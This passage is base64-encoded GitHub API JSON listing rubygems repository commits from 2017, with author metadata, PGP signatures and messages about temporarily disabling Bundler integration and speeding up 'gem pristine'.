NDc3OTIwMTI2MTc5NDM3ODZkYTc3IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2VhY2QxN2EyMWFjY2RmMDQwMDM0Nzc5MjAxMjYxNzk0Mzc4NmRhNzcvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJpbmRpcmVjdCIsImlkIjo3OCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNzg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaW5kaXJlY3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJpbmRpcmVjdCIsImlkIjo3OCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNzg/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaW5kaXJlY3QiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJkZmM5YzcyYTkxYjE0YTVkNjMwZmMxNDFjZjMwMzEyZGEzYmYyYmE3IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2RmYzljNzJhOTFiMTRhNWQ2MzBmYzE0MWNmMzAzMTJkYTNiZjJiYTciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZGZjOWM3MmE5MWIxNGE1ZDYzMGZjMTQxY2YzMDMxMmRhM2JmMmJhNyJ9XX0seyJzaGEiOiJkZmM5YzcyYTkxYjE0YTVkNjMwZmMxNDFjZjMwMzEyZGEzYmYyYmE3IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTA4LTI5VDE4OjQ5OjUzWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0wOC0yOVQxODo0OTo1M1oifSwibWVzc2FnZSI6IkF1dG8gbWVyZ2Ugb2YgIzE5OTggLSBydWJ5Z2VtczpzZWctZGlzYWJsZS1idW5kbGVyLWludGVncmF0aW9uLCByPWluZGlyZWN0XG5cblRlbXBvcmFyaWx5IGRpc2FibGUgQnVuZGxlciBpbnRlZ3JhdGlvblxuXG5SaWdodCBub3csIEkndmUgYmVlbiBhdm9pZGluZyBzaGlwcGluZyBgbWFzdGVyYCBhcyBSdWJ5R2VtcyAyLjcgZm9yIGFsbW9zdCBhIHllYXIgYmVjYXVzZSAoMSkgaXQgcmVsaWVzIG9uIEJ1bmRsZXIgZm9yIGB1c2VfZ2VtZGVwc2AgZnVuY3Rpb25hbGl0eSAocHVycG9zZWZ1bGx5LCBhcyBhIHBhcnQgb2YgdGhlIEJ1bmRsZXIvUnVieUdlbXMgbWVyZ2VyIHBsYW4pIGFuZCAoMikgUnVieSBjb3JlIGlzIG5vdCB5ZXQgYWJsZSB0byB2ZW5kb3IgYSB2ZXJzaW9uIG9mIFJ1YnlHZW1zIHRoYXQgZGVwZW5kcyB1cG9uIEJ1bmRsZXIgYmVjYXVzZSB0aGV5IGRvIG5vdCB5ZXQgaGF2ZSB0aGV5IGluZnJhc3RydWN0dXJlIGluIHBsYWNlIHRvIHRlc3QgQnVuZGxlciAod2l0aCByc3BlYywgZXRjKSBhbG9uZyB3aXRoIGNvcmUuXG5cblRoaXMgUFIgdGVtcG9yYXJpbHkgZGlzYWJsZXMgdGhlIEJ1bmRsZXIgaW50ZWdyYXRpb24sIHVuYmxvY2tpbmcgdGhlIHJlbGVhc2Ugb2YgMi43LiBPbmNlIEBoc2J0IGdldHMgUnVieSBjb3JlIHJlYWR5IGZvciBhIFJ1YnlHZW1zIHRoYXQgdXNlcyBCdW5kbGVyLCB3ZSBjYW4gZmxpcCB0aGUgY29uc3RhbnQgYW5kIHNoaXAgYSBuZXcgbWlub3IgdmVyc2lvbi4iLCJ0cmVlIjp7InNoYSI6IjkyZDg5NzczYzFiY2EwM2I1NmU4MjQzMzEzNmNjODFiOTk4NjY1OTciLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy85MmQ4OTc3M2MxYmNhMDNiNTZlODI0MzMxMzZjYzgxYjk5ODY2NTk3In0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvZGZjOWM3MmE5MWIxNGE1ZDYzMGZjMTQxY2YzMDMxMmRhM2JmMmJhNyIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kZmM5YzcyYTkxYjE0YTVkNjMwZmMxNDFjZjMwMzEyZGEzYmYyYmE3IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2RmYzljNzJhOTFiMTRhNWQ2MzBmYzE0MWNmMzAzMTJkYTNiZjJiYTciLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGZjOWM3MmE5MWIxNGE1ZDYzMGZjMTQxY2YzMDMxMmRhM2JmMmJhNy9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjQ5MjFhZjgxMTY3ZDRjYTAzZDI0NjBmMmQxMzExYWY2NTE4ZGRhNmQiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNDkyMWFmODExNjdkNGNhMDNkMjQ2MGYyZDEzMTFhZjY1MThkZGE2ZCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC80OTIxYWY4MTE2N2Q0Y2EwM2QyNDYwZjJkMTMxMWFmNjUxOGRkYTZkIn0seyJzaGEiOiI3ZGI1ZTFmYTJlMDcwYzI4NzJlMTE4NzQ4ODYzN2VjNWY2NGMyZTM5IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzdkYjVlMWZhMmUwNzBjMjg3MmUxMTg3NDg4NjM3ZWM1ZjY0YzJlMzkiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvN2RiNWUxZmEyZTA3MGMyODcyZTExODc0ODg2MzdlYzVmNjRjMmUzOSJ9XX0seyJzaGEiOiI3ZGI1ZTFmYTJlMDcwYzI4NzJlMTE4NzQ4ODYzN2VjNWY2NGMyZTM5IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wOC0yOVQxMzo0NzowOVoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTI5VDE2OjMwOjM4WiJ9LCJtZXNzYWdlIjoiVGVtcG9yYXJpbHkgZGlzYWJsZSBCdW5kbGVyIGludGVncmF0aW9uIiwidHJlZSI6eyJzaGEiOiI5MmQ4OTc3M2MxYmNhMDNiNTZlODI0MzMxMzZjYzgxYjk5ODY2NTk3IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvOTJkODk3NzNjMWJjYTAzYjU2ZTgyNDMzMTM2Y2M4MWI5OTg2NjU5NyJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzdkYjVlMWZhMmUwNzBjMjg3MmUxMTg3NDg4NjM3ZWM1ZjY0YzJlMzkiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSlpwWmF1QUFvSkVBRVpXN01WM2FoV3RZNFAvQXRlSmV1a05KTDVHeHplUm1Zdit6V29cbkJIaHd0cFVaSThyVFMxTElNSmR3YVRpcjJJRUZBekI4V1kvMUtRdFUyT1lEWHliTk9Od2xweWhLblBNcUNlZytcbnBZRVdlL2Z0SE1Ca1B3NS9YdXRSMFY4QTFGcDlqK29JUE1pSXlUajd2YjNLSHYwMkw3RFN4dzF2QUJ3RmUwNWhcblBjVU9Ua0xXdExrUHByZVRna1BkZnE2SUxXM2ZMUHc2cXNvWDRCRkpaR2ZPUzladkxZRm1DUXBIdVp2c1R0dk1cbk5DOFJaN1BoSThQUE5qeVdYUEVRWDVEU25jWnM3U0wwUjB1NG1qamtLbHFGM2dacjVXNjRWZnJGQVhYTlVMSkFcbjJ2amhOenVEblNocS9ocmlHWlp0QmJPS1dnZDJnSVpCUHRIQytzSEZpUzFLNVdrbWFxa3RiL1ZUUVFGRXZodlpcbk84WG9NcGpGcWRvbW1kbUtCVGVmampjTVNIdStXc2JlTEFCMWxCL09EbGM3TVY4QXBzcnNHS2F0bHcvUWJiWTVcbklDM1I1K0FTcUNhN0d0c3dMQnNlSk5KekRVMkJXOHJQMUJUcEZHb1lzb2RMTVIzeW9XeE43bjhxYXZqa1hmL0tcblRRNFd5cmxzS0ZaemNmaitveTFTeUxFWjVxV01kOFc4ZEphczZveGxMcStlNFl6SXZuelNIbjFqV0ZFZzUzcGhcbm0rRmdFMXh4cEE4bGMzN05QRUZlQmk2VW5jc0JEa1VlcXU3OS9kVmE0Nmh4cVd4a0Njd0JxVzZqOXo4dStVNFZcbk1TeUUvaDBNYVNod3JBS3hITmc4ODZoSkZldmc0ZXRLMG5ZdjMxWWRsb0hqNGtWR1FIb0tLbHlNaVhOZkZHZUJcbmErVFczZk43RkRCeWhqUjZEc3Z6XG49NlJWU1xuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgOTJkODk3NzNjMWJjYTAzYjU2ZTgyNDMzMTM2Y2M4MWI5OTg2NjU5N1xucGFyZW50IDFhODI2YTc2ODRiYmE0ZjEwOGRiMjVlOGYxN2Q1NzFhMjI4MTZmZDdcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwNDAxNDQyOSAtMDUwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTA0MDI0MjM4IC0wNTAwXG5cblRlbXBvcmFyaWx5IGRpc2FibGUgQnVuZGxlciBpbnRlZ3JhdGlvblxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvN2RiNWUxZmEyZTA3MGMyODcyZTExODc0ODg2MzdlYzVmNjRjMmUzOSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC83ZGI1ZTFmYTJlMDcwYzI4NzJlMTE4NzQ4ODYzN2VjNWY2NGMyZTM5IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzdkYjVlMWZhMmUwNzBjMjg3MmUxMTg3NDg4NjM3ZWM1ZjY0YzJlMzkvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjFhODI2YTc2ODRiYmE0ZjEwOGRiMjVlOGYxN2Q1NzFhMjI4MTZmZDciLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMWE4MjZhNzY4NGJiYTRmMTA4ZGIyNWU4ZjE3ZDU3MWEyMjgxNmZkNyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8xYTgyNmE3Njg0YmJhNGYxMDhkYjI1ZThmMTdkNTcxYTIyODE2ZmQ3In1dfSx7InNoYSI6IjFhODI2YTc2ODRiYmE0ZjEwOGRiMjVlOGYxN2Q1NzFhMjI4MTZmZDciLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTI5VDEzOjQyOjA5WiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTctMDgtMjlUMTY6MzA6MzhaIn0sIm1lc3NhZ2UiOiJTcGVlZCB1cCBgZ2VtIHByaXN0aW5lIOKAlGFsbCDigJRvbmx5LWV4ZWN1dGFibGVzYCBieSBhbiBvcmRlciBvZiBtYWduaXR1ZGVcblxuU2luY2Ugd2Ugb25seSBuZWVkIHRoZSBzcGVjIHRvIGdlbmVyYXRlIGJpbnN0dWJzLCB3ZSBjYW4gc2FmZWx5IHVzZSBhIGZha2UgcGFja2FnZSB0aGF0IGRvZXNu4oCZdCByZWFkIHRoZSBjYWNoZWQgLmdlbSIsInRyZWUiOnsic2hhIjoiMDNjYTQwYWFmMzg5ZjUwYjBmYTUxZmY5Yjg1ZTkxZmI4MDRlYmI3YiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzAzY2E0MGFhZjM4OWY1MGIwZmE1MWZmOWI4NWU5MWZiODA0ZWJiN2IifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8xYTgyNmE3Njg0YmJhNGYxMDhkYjI1ZThmMTdkNTcxYTIyODE2ZmQ3IiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjp0cnVlLCJyZWFzb24iOiJ2YWxpZCIsInNpZ25hdHVyZSI6Ii0tLS0tQkVHSU4gUEdQIFNJR05BVFVSRS0tLS0tXG5WZXJzaW9uOiBHbnVQRyB2MVxuXG5pUUljQkFBQkFnQUdCUUpacFphdUFBb0pFQUVaVzdNVjNhaFczRWNRQUlEcHF0Mm5FR2dCeEVQWDZsT1d5NjZMXG5MZEt4MjdNNkNGSGpJbDRuWktpZGFVRndqbk0xTGNPc3JvTWZicXVObVM1SVlMTUxMcnR4NFZRYlBoRlIvbThuXG5QSWhWNkgyTXhrUmZWcmQ1bFBCYmlzOEJJU21QYmtOdk5WbEtWMHJwaGlNa1pCQko1UVczeTVXbDZEVWc4UWRuXG5TTGFvWjZEU2RlU2dpSmxmZkc5aUMyMUZ2ejlwalB6U0Y2TjdkdzJONng3bDE0MTdKKzZ4S01IbFdjcXMxTFRLXG5VemltWWJGVUs3MkhDMUJEdzBHaXd0WDBEWkQvWHF3cDFOZ1Z3bDdnckhIVjZtNGZOTFh4Q0dhYTZaWC8zOFg5XG50SzlpUDBRYUZyUXh3L3g1a3RNc1lYVXdwYVgrV0dtVXVHcmFPcXh0NVR0OTY3RkFGS3BJai9MUldCUUsrMXNIXG5sTXZrWGVWcmxlY0M5dzlWaWJLR00wSEhraDdOdDI3